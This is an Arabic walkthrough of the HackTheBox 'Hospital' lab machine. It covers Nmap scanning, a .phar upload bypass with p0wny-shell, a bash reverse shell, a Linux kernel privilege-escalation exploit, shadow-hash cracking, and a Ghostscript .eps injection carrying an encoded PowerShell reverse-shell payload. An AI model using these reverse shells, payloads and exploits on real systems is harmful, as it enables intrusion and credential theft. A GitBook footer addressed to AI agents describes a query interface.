> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md). # تقرير Hospital على HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * استطلاع الويب * إساءة استخدام أداة p0wny-shell لرفع الملفات * كسر كلمة مرور الهاش المحمي * حقن أوامر عبر ملف .eps * تصعيد الامتيازات في النطاق {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**/ تعداد المنافذ المفتوحة وتصدير النتائج إلى ملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted": ```bash nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted ```

**تحديد واجهة المنفذ 443**

**تحديد واجهة المنفذ 8080**

**إنشاء مستخدم:** إنشاء مستخدم لإتاحة وصول محتمل إلى الجهاز المستهدف

## ثغرة رفع الملفات:

#### الاستغلال الأولي: محاولة استغلال ثغرة تنزيل ملف عبر إدراج ملف PHP خبيث ```php ``` يقوم الخادم تلقائيًا برفض طلبات رفع الملفات ذات امتدادات معينة.

**الاعتراض باستخدام Burp Suite:** استخدام Burp Suite لاعتراض وتحليل حركة المرور لفهم أخطاء التشغيل

#### تعديل امتداد PHP: غيّر امتداد الملف من `.php` إلى `.phar` في `الاسم` المتغير، وتأكد من قبول الموقع بنجاح

**ملخص الأدلة:** استخدام Gobuster لتحديد الأدلة على خادم ويب وتحديد مكان تخزين صور الطب المرفوعة. ```bash gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

#### لم يتم تفسير الملف: لا يتم تفسير محتويات ملف a.phar.

**استخدام أداة GitHub لإنشاء شيل:** استخدام أداة مشروع على GitHub لتجاوز قيود تنزيل ملفات PHP والحصول على وصول إلى الشيل {% embed url="" %}

**تشغيل شيل عكسي:** ```bash /usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1' ``` شغّل شيلًا عكسيًا لإقامة وصول تفاعلي إلى الجهاز المستهدف والحصول على تحكم كامل.

#### بمجرد حصولك على وصول إلى خادم Linux، هذه هي الأوامر التي يجب تنفيذها لمعالجة الطرفية: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## تصعيد الامتيازات (خادم Linux): **تحديد إصدار نظام التشغيل:**/ استخدم `cat /etc/os-release` الأمر للتحقق من إصدار النظام، مع ملاحظة وجود إصدار قديم من Ubuntu ("23.04").

#### **تنزيل سكربت لإزالة الامتيازات:** نزّل السكربت من [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)، والذي يسمح بتصعيد الامتيازات: ```bash wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh ```

#### **استخراج كلمات مرور الهاش:** استخرج كلمات مرور الهاش من `/etc/shadow` الملف.

**كسر كلمات المرور:** استخدم أداة John the Ripper مع قائمة كلمات مرور معروفة لكسر كلمات المرور: ```bash john -w:/usr/share/wordlists/rockyou.txt hash.txt ```

## ثغرة: حقن ملف .eps #### اختبر بيانات الاعتماد على الموقع المتاح عبر المنفذ 443.

**تم العثور على صندوق بريد مقيّد:** اكتشف صندوق بريد إلكتروني يرغب في استقبال تصميم بصيغة .eps.

**عملية Ghostscript عبر ملف .eps:** استخدم [استغلال GitHub](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) استنادًا إلى [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) لتنفيذ تعليمات برمجية خبيثة عبر `.eps` امتداد الملف.

#### استخدم [RevShells](https://www.revshells.com/) لإنشاء حمولة PowerShell:

#### حقن الحمولة داخل ملف .eps: استخدام الأمر لحقن الحمولة مع الشيل العكسي داخل ملف .eps. {% code fullWidth="true" %} ```bash python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps ``` {% endcode %}

#### الاستماع باستخدام rlwrap: إعداد التنصت باستخدام rlwrap لانتظار اتصال وارد. ```bash rlwrap nc -nlvp 4444 ``` #### إرسال بريد باستخدام ملف EPS خبيث:

#### العثور على ملف ghostscript.bat: العثور على ملف ghostscript.bat يحتوي على كلمة مرور "drbrown": `chr!$br0wn`

#### الراية الأولى user.txt: اكتشاف واسترجاع الراية الأولى user.txt.

## تصعيد الامتيازات في Active Directory : #### تصعيد الامتيازات بالانتقال إلى خادم الويب XAMPP.

#### إنشاء ملف PHP: أنشئ ملف PHP يحتوي على الكود "this is a test". ```bash echo "this is a test" > test.php ``` #### التحقق من خادم الويب: تحقق من أن خادم الويب يدرج ملف PHP بشكل صحيح.

#### أعد حقن ملف PHP من [p0wny-shell](https://github.com/flozz/p0wny-shell) المشروع: {% embed url="" %}

python3 -m http.server 8080

wget http://10.10.16.2:8080/shell.php -o shell.php

#### انسخ [شل عكسي](https://www.revshells.com/) الحمولة إلى طرفية pownyshell:

#### الاستماع باستخدام rlwrap: ```bash rlwrap nc -nlvp 4444 ``` ### تم الحصول على الراية root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.